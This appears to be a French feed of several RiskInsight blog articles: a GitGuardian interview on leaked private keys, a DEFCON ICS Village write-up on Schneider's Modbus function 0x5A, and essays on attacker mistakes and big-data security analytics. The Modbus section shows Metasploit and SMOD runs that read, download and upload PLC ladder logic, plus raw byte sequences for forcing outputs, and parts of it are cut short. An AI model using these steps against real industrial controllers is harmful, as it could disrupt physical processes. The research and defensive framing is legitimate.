Comment l’idée vous est-elle venue ?

GitGuardian souligne l’importance de l’expérience de ses cofondateurs ingénieurs, spécialisés en intelligence artificielle dans la conception de leur solution : « Nous utilisons au quotidien les outils de l’open source, et en particulier la plateforme GitHub », qui reste génératrice de risques pour ses utilisateurs. Certains codes source publiés peuvent contenir une clé privée, suffisante pour « s’introduire dans des systèmes d’information d’entreprise, de la petite start-up aux grands groupes du CAC40 », la solution GitGardian a été créée pour « analyser en temps réel l’ensemble du code open source pour détecter les informations sensibles ».

Quel est le plus grand risque de sécurité pour les banques et pour ses clients selon vous ? Comment répondez-vous à la menace qui pèse sur les banques ?

Eric Fourier souligne l’interconnexion croissante entre les systèmes bancaires : « cette augmentation de la surface de vulnérabilité attire les hackers et le nombre de cyberattaques augmente tous les ans. Les failles de sécurité que nous détectons exposent régulièrement des données personnelles, pouvant appartenir aux employés de la banque, à ses clients, ou à des tiers. Ces fuites détériorent leurs images et leur font courir un risque légal et stratégique. Ainsi, GitGuardian permet de diminuer ces risques en détectant certaines vulnérabilités au niveau des interfaces entre les systèmes » bancaires.

L’enjeu pour les RSSI aujourd’hui est de parvenir à concilier la facilité d’implémentation, la simplicité d’utilisation des solutions de sécurité avec une technologie sécurisée. Comment convaincre un RSSI de la pertinence de votre solution et de la sécurité du produit ? Quels sont les différenciateurs qui vous démarquent sur le marché ?

GitGuardian met en avant la nature exogène de sa solution face « à l’infrastructure IT dans la mesure où nous analysons des données disponibles publiquement. Il suffit donc de quelques minutes pour l’installer. Nos algorithmes basés sur du Machine Learning nous permettent d’alerter le RSSI et son équipe sécurité d’une vulnérabilité moins de quatre secondes après l’événement, lorsqu’il est encore temps de limiter fortement les dégâts possibles ». Grâce à ce temps de réaction très faible, la solution est la seule sur le marché à fournir un service aussi précis et rapide car « les acteurs traditionnels s’appuient sur l’analyse humaine, qui peut prendre quelques semaines ».

Quelles sont les synergies entre votre innovation et les solutions de sécurité bancaires existantes à l’heure actuelle ?

GitGuardian note l’effort croissant des banques pour protéger leurs clients : « elles luttent contre la fraude bancaire avec des solutions de sécurisation des achats sur Internet, de protection contre les faux sites bancaires ou les tentatives d’hameçonnage. Les banques possèdent aussi des solutions standardisées pour la protection de leurs systèmes d’information, telles que les pare-feus ou le chiffrement des données. Cependant, les banques se protègent péniblement contre les erreurs humaines de leurs milliers d’employés et prestataires répartis sur le territoire français et dans le monde entier. GitGuardian colmate ces brèches en temps réel, avant que des dommages soient causés par des acteurs malveillants ».

Comment voyez-vous la banque de demain ? Quelles opportunités pour la cybersécurité dans la banque de demain ?

La principale tendance qui émerge est celle du numérique et de la transparence. GitGuardian l’explique ainsi : « La banque de demain sera une banque entièrement digitalisée et connectée. Les applications liées au secteur bancaire se multiplient, les exigences des clients s’intensifient et les fraudes bancaires s’amplifient. La banque de demain se doit d’être plus ouverte et transparente, comme en témoigne l’engouement qui s’anime autour de la technologie blockchain. Tout cela se traduit nécessairement par la mise en place de programmes de cybersécurité encore plus élaborés pour protéger la transition et assurer la sécurité de millions de personnes ».

Pour en savoir plus : https://www.gitguardian.com/

Cet article L’interview de GITGUARDIAN – Sécuriser les clés privées est apparu en premier sur RiskInsight.

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

• Insérons le fichier « .apx » dans l’archive

root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#

• Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Informations sur le projet dans Unity pro

 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

La valeur de forçage est déterminée par le dernier octet :

• 0x03 pour 0
• 0x02 pour 1
• 0x04 pour annuler le forçage

Conclusion et sécurisation

Cet article Fun with Modbus 0x5A est apparu en premier sur RiskInsight.

Des attaques dont les objectifs sont souvent difficiles à cerner

L’actualité le montre trop régulièrement, les actes cybercriminels se multiplient et visent tous types d’organisation. Certains sont revendiqués et leurs objectifs sont rapidement connus. C’est le cas pas exemple de l’attaque visant le site Ashley Madison où les motivations sont explicites.

Mais dans la plupart des cas, les objectifs de l’attaquant sont beaucoup plus difficiles à identifier ! Il est pourtant crucial de le faire pour pouvoir réagir au mieux et protéger rapidement ce qui n’a pas encore été touché par l’attaque.

Une des clés pour mieux comprendre une attaque consiste à exploiter les erreurs des attaquants. En effet, malgré leur niveau de compétences potentiellement élevé, les pirates restent des humains et commettent souvent des erreurs. Des fautes qu’il est possible d’exploiter pour mieux comprendre l’attaque et la contrer, mais aussi pour identifier ceux à son origine.

Utiliser les erreurs des attaquants pour mieux les comprendre

Le cas récent d’Ashley Madison semble être un bon exemple, même s’il faudra attendre les investigations complètes pour confirmer tous les éléments. Les attaquants auraient diffusé les données volées via BitTorrent en utilisant un serveur loué chez un hébergeur aux Pays Bas. Ils auraient cependant oublié de sécuriser ce serveur, en particulier ils n’ont pas mis de mot de passe sur les interfaces d’administration web. Même si cela ne permet pas de les identifier directement, il s’agit d’une piste de premier choix pour les forces de l’ordre en charge des investigations. Il faut cependant rester prudent car cela peut aussi être une forme de diversion réalisée par les attaquants. Affaire à suivre !

Autre exemple, le cas « Red October ». C’est l’affaire d’une vaste opération de cyber espionnage qui a commencé en mai 2007 et qui a été découverte par le cabinet Kaspersky quelques années plus tard. Le cabinet a réussi à identifier, bloquer et neutraliser le logiciel malveillant en utilisant une faille de l’attaque. En effet, les noms de domaines pour les serveurs d’exfiltration qui étaient utilisés dans le code malveillant n’avaient pas été réservés par les attaquants. Cela a permis à Kaspersky de simuler un de ces serveurs et de voir qui était infecté et quelles données étaient capturées.

Parfois, ces erreurs permettent même d’identifier les auteurs de l’attaque, comme ce fut le cas avec la traque de la personne derrière le malware PlugX.

Nos consultants ont d’ailleurs eux aussi rencontré ce genre de situation dans le cadre d’une attaque ciblée chez un de nos clients. Les pirates avaient en effet « oublié » la présence d’un keylogger sur les serveurs internes utilisés pour l’exfiltration des données, ce qui a permis à nos experts d’identifier quelles données étaient ciblées et où elles étaient envoyées. Nous avons même pu récupérer le login et le mot de passe utilisés par les attaquants. Le concept de « l’arroseur arrosé » remis au goût du jour.

Savoir tirer parti de ces informations pour mieux gérer la crise

Les informations obtenues grâce à ces erreurs sont très précieuses, elles permettent ensuite d’adapter la réponse à l’incident. D’autant plus que les attaquants utilisent parfois des mécanismes de diversion « bruyants » (redémarrage de machines, effacement de fichiers, forte activité CPU, voir déni de service…) afin de détourner l’attention des vrais données qu’ils visent. Une compréhension « métier » des objectifs de l’attaque permet d’éviter de se focaliser sur ces pièges.
Il est même souvent intéressant de laisser l’attaque se dérouler pour mieux la comprendre.

Les réflexes face aux incidents de sécurité « classiques » (déployer des signatures antivirales, réinstaller des serveurs…) sont donc aujourd’hui largement révolus. Il faut adopter une approche dynamique de la crise, s’intéresser à son objectif métier et utiliser les erreurs des attaquants pour être plus pertinent, en pouvant même envisager des réponses « actives » à l’attaque. Un challenge pour les équipes de réponses à incidents, qui doivent adapter leurs méthodologies et leurs réflexes, mais un objectif crucial pour lutter contre ces attaques

Cet article Cybercriminalité : savoir profiter des erreurs des attaquants est apparu en premier sur RiskInsight.

 Quelle est la nature des annonces récentes dans le domaine du Big Data et de la sécurité ?

 Le buzzword « big data » a fait son entrée en force cette semaine dans le monde de la sécurité de l’information. Deux acteurs majeurs ont pris position sur le marché. D’un côté, RSA a annoncé son outil « Analytics ». Son objectif : détecter les fameux « signaux faibles » dans le volume des journaux de sécurité générés dans le système d’information. De l’autre, Cisco annonce le rachat de la société « Cognitive Security », une start-up tchèque spécialisée dans l’analyse analytique des mêmes journaux. Cisco envisage un rapprochement effectif au 3^ème trimestre de cette année et l’inclusion des technologies dans ces services cloud de sécurité.

Est-ce que cela représente une avancée significative pour la sécurité ? 

Dans un sens oui, l’adoption de ces technologies par de grands acteurs valide l’intérêt des méthodes statistiques afin de détecter des attaques ciblées. Nous savons qu’il y a une attente forte sur ce point. Les statistiques le montrent clairement, aujourd’hui il faut en moyenne 412 jours pour détecter une attaque ciblée. Plus frappant encore,cette détection provient dans 94% des cas  de tiers externes à l’entreprise (Rapport Mandiant 2012) tandis que les premières exfiltrations de données ont lieu 24h après le début de l’attaque ! Il y a donc clairement un problème à résoudre. D’ailleurs nous disposons de retours d’expérience positifs avec des outils existants déjà sur le marché. Je pense en particulier à la solution de la société française PicViz. Elle est déjà en place dans plusieurs sociétés où elle a permis des avancées significatives.

Comment une entreprise peut-elle tirer parti de ces innovations ?

Ces outils n’ont rien de magique, les acheter et les déployer ne résoudra pas tout. Ils vont requérir d’une part d’être alimentés par des données – les journaux de sécurité – et d’autre part de disposer de compétences pour analyser les résultats. Et ces deux points sont aujourd’hui des points faibles dans beaucoup d’entreprises ! En premier lieu, il faut augmenter le volume de journaux générés à tous les niveaux du SI pour pouvoir « nourrir » correctement l’outil. L’avantage, c’est que ces solutions, contrairement au SIEM (Security Information and Event Management) historique, font de l’analyse sans chercher des scénarios particuliers qu’il faut définir au préalable. Ils sont donc plus efficaces pour détecter les attaques ciblées.

Parallèlement, les équipes dédiées à l’analyse de ces journaux doivent être renforcées (en effectifs et en formations) afin d’être en mesure de comprendre les analyses et d’y réagir de manière appropriée. Notre expérience le montre, nous n’échappons pas aux faux positifs… L’externalisation d’une partie de l’équipe en charge  de  surveiller les SI est  une solution possible. De récents appels d’offres que nous avons conduits ont montré que les acteurs du marché se sont multipliés et qu’ils proposent de nouvelles solutions aux problèmes rencontrés au quotidien par les entreprises dans le domaine de la sécurité.

Cet article Outillage sécurité : la ruée vers le Big Data est en cours est apparu en premier sur RiskInsight.